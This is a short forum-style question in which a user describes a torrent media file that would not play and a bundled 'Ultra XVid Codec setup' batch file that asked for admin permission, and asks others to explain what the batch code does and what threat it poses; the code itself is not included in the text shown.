I recently downloaded a media package from torrent which doesn’t run on vlc and on windows media player it says "The Player might not support the file type or might not support the codec that was used to compress the file". the package also includes a batch file with name Ultra XVid Codec setup. when I tried running asked for some admin permission so I denied and closed it. Later I opened it using vscode and the code was this. just out of curiosity can someone briefly explain what this code tries to do and what threat is posseses.
